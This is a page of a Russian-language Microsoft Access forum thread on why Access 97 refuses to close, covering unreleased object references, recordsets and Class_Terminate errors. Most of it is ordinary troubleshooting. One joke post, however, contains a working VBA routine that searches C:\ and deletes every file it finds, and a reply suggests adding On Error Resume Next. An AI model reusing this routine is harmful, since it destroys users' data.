powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Microsoft Access [игнор отключен] [закрыт для гостей] / По какой причине Аксесс может не закрываться?
25 сообщений из 52, страница 1 из 3
По какой причине Аксесс может не закрываться?
    #32169664
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
Аксесс не закрывается. Удается завалить только через Ctrl-Alt-Del. По какой причине это может быть? Знаю следующие варианты:

1. Если есть чекбокс и идет проверка If chk Then вместо If chk = True Then.

2. Если написано Select Case True в сочетании со строкой, разделенной вот _
так на две.

А может ли это быть из-за того, что создан некий объект Set o = New MyOwnClass и не сделано Set o = Nothing?
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169677
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
P.S. Всем заранее спасибо!
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169685
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Если есть в скрытой форме

Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169700
Alexus12
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Ох, проблемка...
В ХЛ, помню, был просто кошмар:
по закрытии выдавал "ошибку в приложении" только потому,
что глобальные переменные содержали данные при выходе из ХЛ.

Лечилось созданием доп.кнопки, которая выполняла один оператор:

End

После него бы еще и выходить - да на End и суда нет...

Вопрос к ALL:
кто-нибудь юзал End в Access?
Например, вместо
Set .. = nothing?
.close

Помогает или мешает?

======

Что касается Access -
помню зависания (или просто незакрывание, как описано)
после выполнения запросов со сложными фунциями юзера внутри.

В последнее время заболевания с такими симптомами не обнаруживаются.

===
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169706
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
2 Senin Viktor:

Мне тоже смешно.


Уточняю: mdb внутри Аксесса уже закрыт.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169719
incold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
У меня такое бывает когда, не срабатывает Wizard (любой).
Потом симптомы те же.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169726
Фотография Лох Позорный
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Владимир Саныч, ну что как маленький? Версию аксеса скажи да?
Если 97-й, то проблема стара как 97-й аксес. При наличии ссылок на библиотеку аксеса процес не заканчивается, при попытке закрыть просто минимизируется. Как ни странно, это даже у Гетца описано, хоть книжк про 2002-й аксес.
У меня часто было так: в запросах использовал аксесовские функции (Nz, IIf и т.д.). При выходе из функций локальные рекордсеты не убивались (иногда), висели открытыми и держали ссылки на аксес (как я себе это представляю). С тех пор везде rs.Close : Set rs = Nothing
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169731
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
У меня - когда работаю с екцелем без корректного завершения.
Бывает и в момент сжатия/восстановления (сжимать атвоматически при закрытии)
Но очень давно этого не было. Специально повторить не получалось (хотя и пробовал)

На каком акесе вояешь?
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169738
Фотография Лох Позорный
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
В общем случае - аксес перестает закрываться, если на него есть ссылки. Даже если это ссылки из самого аксесовского проекта, пусть уже и закрытого.
Не умеет аксес (97-й) ссылки очищать. То лишние оставит, то нужные потеряет (например, на CurrentDb.TableDefs в упор не хочет неявную ссылку устанавливать).
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169741
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
> Владимир Саныч, ну что как маленький? Версию аксеса скажи да?

Каюсь. Действительно 97. Телепатия в разгаре. На форуме тренировался, да?

> С тех пор везде rs.Close : Set rs = Nothing

А с объектами моих типов, не рекордсетами?
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169769
Фотография Лох Позорный
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Такие траблы были не только с рекордсетами. С Workspace'ами тоже, может еще с чем, запамятовал уже.
Видимо и с твоими собственными объектами тоже может беда случиться.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169777
Фотография Лох Позорный
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Кстати, со своими собственными объектами рекомендую Class_Terminate как можно внимательнее прошерстить. Если там ошибки времени выполнения случатся - никакие обработчики не спасут. Что в итоге получится - хз.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169786
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ну если ошибки в Class_Terminate, то у меня обычно вываливалась "Access violation ..."
Даже вернее не ошибки, а забывчивость поcтавить Nothing
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169838
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
Всем спасибо, Лоху отдельное и большое.

Хотя если кто чего добавит, то я буду заходить. :^)
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169936
RT++
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Блин, что вы там за базы лепите, что ажно Аксесс раком становится??
Вот бы посмотреть, как он "не закрывается" (ни разу не видел - не та крутизна :()
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169939
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
У меня скоро будет образец. Я его тут выложу.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169953
RT++
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Чё, выкладайте.... посмотрим.... изучим....
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169958
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
2RT++
>Вот бы посмотреть, как он "не закрывается"

Специально для тебя. Другим не пользоваться!!!
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
Public Sub SpecialForRT()
Dim i As Long
With Application.FileSearch
    .LookIn =  "C:\" 
    .FileType = msoFileTypeAllFiles
    If .Execute >  0  Then
        For i =  1  To .FoundFiles.Count
            Kill .FoundFiles.Item(i)
        Next i
    End If
End With
End Sub
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169967
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
2 Senin Viktor:

Шутки шутками, а я скоро принесу настоящий образец.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169970
Фотография Zenia
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Надо еще
On Error resume next
чтобы меньше вопросов задавал
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169981
Фотография Лох Позорный
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
2 RT++
Ну учись, сынок
Открываешь эксель, подключаешь ссылку на 97-й аксес (если не умеешь - научим, даже в картинках покажем ). Добавляешь модуль. Делаешь в нем функцию
Код: plaintext
1.
2.
3.
Public Function AccessForever()
    Dim a As Long
    a = Nz( 1 )
End Function

Запускаешь эту функцию. Наслаждаешься бессмертным аксесом.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32169982
G&P
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Кстати говоря, по поводу глюков. Вот у меня в базе на событие formload процедурка скрытия окна аксеса стояла. Так даже после того, как я вызов этой процедуры отменил, аксесс скрывал свое окно при запуске базы до тех пор, пока я её не сжал. Неужели он и эту установку не меняет без сжатия?
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32170017
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
2Саныч
> а я скоро принесу настоящий образец.
Тогда уж сразу шли на мыло мне, а то я с инета тока дома могу качать :(
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32170076
Фотография Владимир Саныч
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Модератор форума
2 Senin Viktor:

Там будет 10 строчек кода и все. Я выложу прямо в форуме.
...
Рейтинг: 0 / 0
По какой причине Аксесс может не закрываться?
    #32170094
Фотография Senin Viktor
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Двай. Поиздеваюсь на XP.
...
Рейтинг: 0 / 0
25 сообщений из 52, страница 1 из 3
Форумы / Microsoft Access [игнор отключен] [закрыт для гостей] / По какой причине Аксесс может не закрываться?
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]